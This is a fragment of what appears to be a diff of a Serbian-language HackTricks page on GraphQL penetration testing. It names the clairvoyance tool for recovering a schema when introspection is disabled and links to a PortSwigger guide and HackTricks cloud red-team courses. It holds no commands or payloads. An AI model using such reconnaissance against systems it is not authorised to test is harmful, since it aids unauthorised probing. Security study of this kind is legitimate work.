[https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Pokušajte da dobijete šemu čak i kada je introspekcija onemogućena koristeći pomoć nekih Graphql baza podataka koje će sugerisati imena mutacija i parametara. ### Klijenti @@ -541,8 +617,8 @@ valid * [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql) {% hint style="success" %} -Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)